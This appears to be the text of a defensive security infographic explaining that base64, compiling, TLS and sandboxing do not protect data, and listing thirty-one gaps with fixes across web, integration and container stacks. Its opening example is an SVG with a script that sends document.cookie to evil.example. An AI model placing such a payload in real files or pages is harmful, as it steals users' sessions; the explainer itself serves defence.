SVG + BASE64 — ENCODING IS NOT A SECURITY BOUNDARY

how the bytes look → what each layer checks → what actually protects the data

Dashed = a gap, not a design. Numbers match the list below.

ONE SVG, THREE WAYS IN — SAME BYTES, DIFFERENT RISK

1 · Source SVG: what the file says

```
<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40"/>
  <metadata>patient: J. Doe · MRN 0042</metadata>
  <script>
    fetch('https://evil.example/?c='
      + document.cookie)
  </script>
</svg>
```

SVG is XML: it can run code and carry data, not just pixels.

base64

2 · Base64 data URI: how it travels

```

PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9z
dmciPgogIDxjaXJjbGUgY3g9IjUwIiBjeT0iNTAiIHI9IjQw
IiB4bGluazpfQ1lidGFkYXRhPnBhdGllbnQ6IEouIERvZSDC
```

- Same bytes, new alphabet: about 33% larger.
- Anyone decodes it in one line: atob(s).
- "<script" is no longer visible to a text filter.
- Not encrypted, not signed, not validated.

3 · How it's rendered decides if it runs

`<img src="…">` — ⑦
Static image. Script does not run.
Text and metadata are still readable.

`el.innerHTML = atob(b64)` · `inline <svg>` — ③
Script RUNS on your origin:
cookies, tokens, PHI on the page.

`<object>`, `<iframe>`, opening the .svg URL — ③
Script RUNS in the file's origin.
Same-origin uploads become XSS.

FOUR WORDS THAT GET CONFUSED — ONLY ONE OF THEM CHANGES WHAT CODE CAN DO

Base64
encoding

Rewrites any bytes as 64 text characters.
Reversible by anyone. Understands nothing.
Never fails, never checks, never hides.

```
PHN2ZyB4bWxucz0i… = <svg xmlns="
```

Compile
Rust compiles to machine code or Wasm · Elm to JS

Translates source into a different program.
Type-checks and rejects unsafe programs.
One-way: comments and names are gone.

```
cargo build --release · elm make
```

Machine code ⑨
what the CPU actually runs

Binary instructions: an opcode plus operands,
specific to one chip family (x86-64, ARM64).
Not secret: objdump or Ghidra reads it back.

```
48 89 E5  =  mov rbp, rsp  (x86-64)
```

Bare metal
no operating system underneath

Code runs straight on the hardware: firmware,
bootloaders, microcontrollers. No files, no
process isolation, no OS to contain a bug.

```
#![no_std] · firmware/glb-parse
```

Bare metal is dashed: a memory bug there owns the whole device, so Rust memory safety and signed firmware (secure boot) carry all the weight.

THE REQUEST PATH — WHAT EACH LAYER CHECKS, AND WHAT IT DOESN'T

Browser · Elm
untrusted client

CHECKS
pure view can't fetch or store
ports are the only exit to JS
opaque types mask PII on screen

DOES NOT
a user editing the compiled JS
or calling the API directly — ⑧

→ TLS

TLS
between browser and edge

CHECKS
encrypts data in transit
proves the server's identity

DOES NOT
protect data at rest
hide data from the edge — ⑤

→

Cloudflare edge
Worker · WAF · CORS

CHECKS
CORS: other sites' browser reads
WAF: known attack patterns
Worker: consent egress gate

DOES NOT
stop curl, servers or agents — ④
see inside base64 — ②
keep plaintext from Cloudflare — ⑤

→

TLS Full (strict)
between edge and Xano

CHECKS
re-encrypts to the origin
validates the origin certificate

DOES NOT
apply in Flexible mode:
that's plain HTTP to Xano — ⑤

→

Xano
auth · tables · logs

CHECKS
auth token on every call
per-record precondition
field encryption, if built

DOES NOT
scrub request history — ⑥
sanitize SVG uploads — ③

→

Rust service
parser · egress

CHECKS
memory safety, no unsafe
ConsentGrant moved: single use
Pii<T>: no Serialize, Debug redacts

DOES NOT
prove the rule is the right one
types force a check, not a policy

TLS PROTECTS EACH HOP, NOT THE DATA — EVERY BOX BELOW DECRYPTS IT

A · Next.js compile: server render, then CSR hydration

Browser request ⑫
cookie + URL sent over TLS
consent banner hasn't loaded yet
decrypts here

TLS

CDN · edge ⑪
TLS ends; HTML may be cached
plaintext: the cached copy
decrypts here

TLS

Next server ⑫ ⑬
Server Components fetch on request
NEXT_PUBLIC_ vars baked into bundle
decrypts here

TLS

Shopify / Xano API ⑥
server-to-server TLS call
plaintext: API request logs
decrypts here

TLS

Browser hydrates ⑩
HTML + RSC payload carry the props
readable in View Source and caches
decrypts here

B · CRM-to-Shopify cloud data bus

CRM · Xano ⑥
customer and consent record
plaintext: tables, request history
decrypts here

TLS

Queue · webhook table ⑯
event row waits for the processor
plaintext: payload stored at rest
decrypts here

TLS

Cloudflare Worker ⑭ ⑰
transforms; reads Admin token from KV
plaintext: in memory, in logs if printed
decrypts here

TLS

Shopify Admin API
writes customer, tags, metafields
plaintext: inside Shopify's controls
decrypts here

TLS

Shopify webhook back ⑮
customers/update returns to the bus
must verify HMAC on the raw body
decrypts here

Each arrow is its own TLS session. Data is plaintext inside every box, so anything stored, cached, logged or rendered there is outside TLS's protection.

SAME DATA, THREE STACKS — JVM MIDDLEWARE vs IPAAS vs WASM, WITH CONSENT MODE V2 AND IDEMPOTENCY KEYS

C · JVM stack: Salesforce, MuleSoft and Salesforce Commerce Cloud, feeding Google Merchant

Salesforce core · Apex ⑲
Salesforce's Java-based multi-tenant runtime
governor limits bound each tenant; you can't patch it
decrypts here

TLS

MuleSoft · Mule runtime ⑱
Java on the JVM; DataWeave transforms payloads
plaintext: payloads, logs, connector credentials
decrypts here

TLS

SFCC B2C · server script ⑱ ⑲
JavaScript on Rhino, running inside the JVM
one process sees all order and customer data
decrypts here

TLS

Google Merchant API ⑳ ㉑
products, audiences and conversions arrive
consent state is often lost in the transforms
decrypts here

D · iPaaS stack: from SAP through Azure and Celigo to Magento (Adobe Commerce)

SAP S/4HANA · ABAP ㉙ ㉛
IDoc, BAPI/RFC and OData out of the ERP
integration users often hold broad roles
decrypts here

TLS

Azure · Service Bus + Logic Apps ㉑
duplicate detection on MessageId
Key Vault + managed identity, not keys in config
decrypts here

TLS

Celigo integrator.io ㉙
SaaS flows map and transform each record
plaintext: retries and error records keep payloads
decrypts here

TLS

Magento · Adobe Commerce ③ ㉚
PHP; REST, GraphQL and RabbitMQ queues
checkout JavaScript is the Magecart target
decrypts here

E · Wasm stack: from Shopify through a Cloudflare Worker and a Shopify Function to Google Merchant

Shopify · Customer Privacy API ⑳
captures Consent Mode v2 at the storefront
ad_user_data, ad_personalization, + storage
decrypts here

TLS

Cloudflare Worker ㉑
V8 isolate; consent gate before egress
idempotency key = event ID, deduped
decrypts here

TLS

Shopify Function · Rust compiled to Wasm ㉒
no network, no files, an instruction limit
GraphQL input in, a list of operations out
decrypts here

TLS

Google Merchant API ⑳ ㉑
product upsert by offerId: a retry overwrites
conversions only if ad_user_data = granted
decrypts here

CONCERN	JVM: SFCC · SALESFORCE · MULESOFT	IPAAS: SAP · AZURE · CELIGO · MAGENTO	WASM: SHOPIFY FUNCTIONS · WORKERS
Isolation	Shared JVM process; quotas and governor limits	Vendor tenancy: your data on Celigo's platform	Own memory per module; a V8 isolate per Worker
Network access	Any library in the process can connect out	Flows reach every connected system's API	Functions: none. Workers: fetch via the host
Memory safety	Garbage-collected; secret Strings can't be wiped	PHP and ABAP are memory-safe; risk is config	Can't touch host memory; Rust ownership inside
Supply chain	Large JAR trees; Log4Shell (2021)	Magento extensions and checkout JS (Magecart)	Small modules; risk sits in the host imports
Who patches	Salesforce; you, for self-hosted Mule	You: SAP Notes, Magento patches. Celigo: vendor	Shopify and Cloudflare; you rebuild the module
Consent Mode v2	Must survive every DataWeave map and job	The ERP has no consent field: map it or lose it	Captured at the storefront, checked at the edge
Idempotency	Mule Idempotent Message Validator	Service Bus duplicate detection; IDoc numbers	Event ID deduped in a Durable Object

Wasm doesn't make data private; it limits what code can reach. Consent and idempotency are data rules, so every stack must carry them with every event.

ISOLATION AND TRANSPORT — A VM vs DOCKER vs KUBERNETES: WHERE THE WALL IS, AND HOW DATA CROSSES IT

Virtual machine
each guest boots its own kernel

App | App
Guest kernel | Guest kernel
Hypervisor: the wall (KVM, Nitro, Hyper-V)
Hardware · cloud host

Escape needs a hypervisor bug: rare and high value.
The host can still read guest memory unless it's a confidential VM (AMD SEV-SNP, Intel TDX). — ㉗

Docker container
a process on the host's kernel

Container A | Container B
namespaces · cgroups · seccomp · capabilities
One shared host kernel: the only wall
Hardware · host

Escape needs one kernel bug, --privileged, or a mounted docker.sock. Root on the host sees every container. — ㉓ ㉖
ENV and COPY .env stay in image layers: docker history.

Kubernetes cluster
containers scheduled across nodes

Pod | Pod ⋯ Pod | Pod — ㉕
Node 1 kernel | Node 2 kernel
Control plane · API server · RBAC
etcd: Secrets stored as base64 — ㉔

Pod to pod, across nodes: plaintext by default, and
any pod can reach any pod until a NetworkPolicy says no.
Secrets are base64, not encrypted, unless etcd encryption is on.

CONCERN	VIRTUAL MACHINE	DOCKER	KUBERNETES
Wall	Hypervisor; a kernel per guest	Shared host kernel: namespaces, cgroups, seccomp	Docker's wall per node, plus RBAC on the API
Escape needs	A hypervisor bug: rare	A kernel bug, --privileged or a mounted docker.sock	Any container escape, or a token with broad RBAC
Traffic by default	Over the VPC; not always encrypted	Host bridge network: plaintext between containers	Flat network: any pod reaches any pod, in plaintext
Encrypt in transit	TLS, WireGuard or IPsec between VMs	TLS inside each app; host root can still sniff	mTLS mesh (Istio, Linkerd) or WireGuard (Cilium, Calico)
Secrets	Cloud KMS or a vault; disk encryption	Never in ENV or image layers; mount at runtime	Encrypt etcd with a KMS provider; prefer a vault
Data in memory	Host can read it, unless a confidential VM	Host root and any privileged container	The node, and anyone allowed to exec into the pod

A VM is the stronger wall; a container is the faster one. Neither encrypts data on the wire: TLS, mTLS or WireGuard does that, one hop at a time.

THIRTY-ONE GAPS — AND THE CONTROL THAT CLOSES EACH

① **Base64 is not encryption**
Anyone reverses it with atob() or base64 -d.
Fix: Encrypt or tokenize. Never base64 a secret, API key, token or card number and call it hidden.

② **Encoding hides payloads from filters**
A WAF or scanner looking for "<script" misses it inside base64.
Fix: Decode first, then sanitize: DOMPurify or svgo, stripping script, on* handlers, foreignObject, external href.

③ **SVG executes when inlined**
innerHTML, inline <svg>, <object>, <iframe> and same-origin uploads all run script.
Fix: Render untrusted SVG with <img>. Send CSP: sandbox on .svg. Serve uploads from a separate asset domain.

④ **CORS is not access control**
Browsers honor it. curl, servers and AI agents ignore it.
Fix: Authorize every request server-side, per record, in Xano or the Worker. Deny by default.

⑤ **The edge sees plaintext**
Cloudflare terminates TLS: Flexible mode sends plain HTTP to the origin.
Fix: Use Full (strict). Sign a BAA before any PHI. Encrypt sensitive fields before they reach the edge.

⑥ **Logs keep what they're sent**
Xano request history and Cloudflare logs can store full request bodies.
Fix: Scrub fields or disable body logging. In Rust, Pii<T> redacts in Debug and refuses to serialize.

⑦ **SVG carries data, not just pixels**
<text>, <metadata> and XMP hold names and IDs. A chart of patient data is PHI.
Fix: Strip metadata on export. Classify an exported SVG as the data it shows, with the same retention.

⑧ **The client is untrusted**
Elm prevents your own bugs, not an attacker editing the JavaScript.
Fix: Enforce every rule again on the server. Treat Elm and Rust types as a second line, not the first.

⑨ **Compiled is not hidden**
Machine code disassembles and Elm output is readable JS. Keys shipped in either are public.
Fix: Keep secrets on the server or in a key vault. Ship only tokens that are scoped, short-lived and revocable.

⑩ **Hydration ships data into the page**
Props serialized into the HTML (__NEXT_DATA__, the RSC payload) outlive TLS: View Source, saved pages, caches.
Fix: Pass only what the screen needs. Never pass whole records as props. Fetch PII client-side, after consent.

⑪ **Shared caches mix customers**
A CDN or ISR cache of a personalized page can serve one customer's data to the next visitor.
Fix: Cache-Control: private, no-store on personalized routes. Keep PII out of static and ISR pages.

⑫ **Server fetch runs before consent**
Server Components call APIs on the first request, before the consent banner has loaded.
Fix: Gate server fetches on the consent cookie. Defer personalization and tracking until the user agrees.

⑬ **NEXT_PUBLIC_ compiles into the bundle**
Any env var with that prefix is baked into client JavaScript at build time (see gap 9).
Fix: Keep secrets server-only. Scan the built bundle for keys in CI before every deploy.

⑭ **TLS is hop-by-hop on a data bus**
The queue, Worker and logs each decrypt the message, and any of them can store it.
Fix: Sign each message (HMAC or Ed25519). Encrypt sensitive fields end to end (JWE). Use mTLS between services.

⑮ **Unverified or replayed webhooks**
Anyone who finds the webhook URL can POST a fake or repeated event.
Fix: Verify X-Shopify-Hmac-SHA256 on the raw body. Reject stale timestamps. Use idempotency keys.

⑯ **Queue rows outlive the message**
The webhook table keeps customer data after the event is processed.
Fix: Store IDs, not payloads. Purge processed rows on a schedule. Encrypt the table at rest.

⑰ **Admin tokens at the edge**
A Shopify Admin token in KV or env grants the whole store if it leaks.
Fix: Least-privilege scopes, short-lived tokens, rotation, and alerts on unusual use.

⑱ **Middleware sees everything**
MuleSoft and SFCC decrypt, transform and can log every payload and connector secret.
Fix: Mask fields in DataWeave, use secure properties, turn off payload logging, encrypt sensitive fields.

⑲ **The JVM has no in-process sandbox**
The Security Manager is deprecated (Java 17), so every dependency runs with full app rights.
Fix: Isolate services, scan dependencies, patch fast. Keep secrets short-lived and out of Strings.

⑳ **Consent isn't carried with the event**
Audiences and conversions reach Google without their ad_user_data / ad_personalization state.
Fix: Attach Consent Mode v2 state at capture. Drop or redact the event when consent is denied.

㉑ **Retries duplicate writes**
Timeouts, job re-runs and webhook redelivery create double conversions or records.
Fix: One idempotency key per event, deduped with a TTL. Upsert on stable IDs such as offerId or SKU.

㉒ **Wasm host imports are the door**
A Wasm sandbox is only as tight as the functions the host gives it.
Fix: Grant the fewest imports possible. Shopify Functions grant no network at all.

㉓ **Containers share the kernel**
One kernel bug, --privileged, or a mounted docker.sock hands over the whole host.
Fix: Run as non-root, drop capabilities, use seccomp and a read-only FS. Use gVisor, Kata or a VM for untrusted code.

㉔ **Kubernetes Secrets are base64**
etcd stores them encoded, not encrypted: anyone with get-secrets or a backup reads them (gap 1).
Fix: Turn on etcd encryption with a KMS provider, lock down RBAC on secrets, or use an external vault.

㉕ **Pod traffic is plaintext by default**
The cluster network is flat: any pod reaches any pod, unencrypted across nodes.
Fix: Default-deny NetworkPolicy. mTLS through a service mesh, or WireGuard in the CNI. Don't auto-mount tokens.

㉖ **Secrets baked into images**
ENV values and copied .env files live in image layers for good, readable with docker history.
Fix: Use build secrets (--secret), scan images in CI, and inject secrets at runtime from a vault.

㉗ **The host can read VM memory**
The hypervisor and cloud operator can see guest RAM, including decrypted PHI and card data.
Fix: Confidential VMs (AMD SEV-SNP, Intel TDX) for regulated workloads; keys in an HSM or KMS.

㉘ **The iPaaS keeps copies**
Celigo retries, error records and logs hold full payloads outside your own systems.
Fix: Mask sensitive fields in the flow, shorten retention, and confirm the data region and DPA or BAA.

㉙ **Integration credentials are too broad**
SAP RFC users with wide roles; Magento integration tokens that never expire.
Fix: Least privilege per interface, managed identity and Key Vault on Azure, scheduled rotation.

㉚ **Checkout JavaScript gets skimmed**
Magecart injects card skimmers into Magento checkouts, some hidden in SVG onload (gap 3).
Fix: Patch fast. CSP and Subresource Integrity. PCI DSS 4.0 6.4.3 script inventory. Hosted payment fields.

㉛ **Batch files sit in plaintext**
IDoc and EDI flat files wait on SFTP drop folders between runs.
Fix: PGP-encrypt files, delete them after pickup, and move to API or queue delivery where you can.

Base64 changes how data is written, not who can read it. Compiling changes what code can do. TLS protects the wire, not the endpoints. Wasm, containers and VMs limit reach, not readership. Only encryption, server-side authorization and contracts decide who can read data.